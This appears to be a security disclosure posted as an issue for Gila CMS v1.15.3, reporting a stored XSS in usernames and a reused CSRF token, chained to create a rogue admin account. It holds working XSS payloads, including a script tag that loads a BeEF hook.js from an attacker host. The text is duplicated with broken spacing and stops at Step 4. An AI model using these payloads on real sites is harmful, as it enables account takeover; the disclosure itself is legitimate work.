(Please forgive my poor English.)
Hello, I found XSS+CSRF exploit chain in gila version v1.15.3. I tried to submit the security issus by Email, but it seems your recipient Email System is down. I tried to reduce my Email size but it still been returned. I'm sorry for reporting security vuln in issues.
Here is the security vuln's details:
Vuln 1: Stored Cross-Site Script
The premise: Your site open the "New Users Can Register" option in Administration's Settings.
Payload1: Hacker can register a username like hacker"><script>alert(XSS!)</script> by intercepting the HTTP request . Though username will be like hacker"> in the Users Page because of your team's nice filter when outputing the username, the evil string of username actually be written into the database. Then, if admin of the site set a post's Author to the hacker's account, the post will alert when anyone visit the post's page. (By the way, "> isn't necessary in both payloads.)
In short, this XSS payload will get into the db when registering and be ouputed when the post show author's name.
Payload2: And another payload will alert in Admin's User Page. Payload is x"><img src=x onerror=alert(1)>
The influence: Hacker can do anything that XSS can do without get Admin's GSESSIONID if he only use the stored XSS payload1. Hacker can't do anything very terrible because of the limit of username's length in the stored XSS payload2.
Vuln 2: Potential Cross-Site Request Forgery
I found Gila only regenerate formToken of Admin's pages when admin logging in, and every form use the same formToken. That's terrible, it's a potential threaten. CSRF token should regenerate everytime user visit the form. I advise Gila use the mature CSRF token solution rather than developing a simple token generating function.
The influence: The formToken acutually disturb the hacker, but it's not enough. If hacker get the token in some way (like the Exploit chain below), he might can exploit the vuln successfully.
XSS+CSRF Exploit chain
Here is the example of exploit the two vulns above to create a new Admin User for Hacker. (http://mycms.com/gila is the GilaCMS's URL, and http://10.0.17.249:3000orhttp://evil.com is the hacker's URL.)
Step1. register a username with hacker"><script/src=http://10.0.17.249:3000/hook.js></script>. The http://10.0.17.249:3000/hook.js is Hacker's BeEF's URL. (BeEF is a Hacker's XSS Platform.)
Step2. Admin user set a post's author to the hacker's account.
Step3. When the Admin visit the post whose author is the hacker's account after admin logged in, BeEF will get the connected from http://mycms.com/gila/3/xss and it can load evil js to the page. I tested alert the message: "XSS!".
(Please forgive my poor English.) Hello, I found XSS+CSRF exploit chain in gila version v1.15.3. I tried to submit the security issus by Email, but it seems your recipient Email System is down. I tried to reduce my Email size but it still been returned. I'm sorry for reporting security vuln in issues. Here is the security vuln's details:
Vuln 1: Stored Cross-Site Script
The premise: Your site open the "New Users Can Register" option in Administration's Settings.
Payload1: Hacker can register a username like
hacker"><script>alert(XSS!)</script>by intercepting the HTTP request . Though username will be likehacker">in the Users Page because of your team's nice filter when outputing the username, the evil string of username actually be written into the database. Then, if admin of the site set a post's Author to the hacker's account, the post will alert when anyone visit the post's page. (By the way,">isn't necessary in both payloads.) In short, this XSS payload will get into the db when registering and be ouputed when the post show author's name.Payload2: And another payload will alert in Admin's User Page. Payload is
x"><img src=x onerror=alert(1)>The influence: Hacker can do anything that XSS can do without get Admin's GSESSIONID if he only use the stored XSS payload1. Hacker can't do anything very terrible because of the limit of username's length in the stored XSS payload2.
Vuln 2: Potential Cross-Site Request Forgery
I found Gila only regenerate formToken of Admin's pages when admin logging in, and every form use the same formToken. That's terrible, it's a potential threaten. CSRF token should regenerate everytime user visit the form. I advise Gila use the mature CSRF token solution rather than developing a simple token generating function.
The influence: The formToken acutually disturb the hacker, but it's not enough. If hacker get the token in some way (like the Exploit chain below), he might can exploit the vuln successfully.
XSS+CSRF Exploit chain
Here is the example of exploit the two vulns above to create a new Admin User for Hacker. (
http://mycms.com/gilais the GilaCMS's URL, andhttp://10.0.17.249:3000orhttp://evil.comis the hacker's URL.)Step1. register a username with
hacker"><script/src=http://10.0.17.249:3000/hook.js></script>. Thehttp://10.0.17.249:3000/hook.jsis Hacker's BeEF's URL. (BeEF is a Hacker's XSS Platform.)Step2. Admin user set a post's author to the hacker's account.
Step3. When the Admin visit the post whose author is the hacker's account after admin logged in, BeEF will get the connected from
http://mycms.com/gila/3/xssand it can load evil js to the page. I tested alert the message: "XSS!".Step4. Using BeEF to create a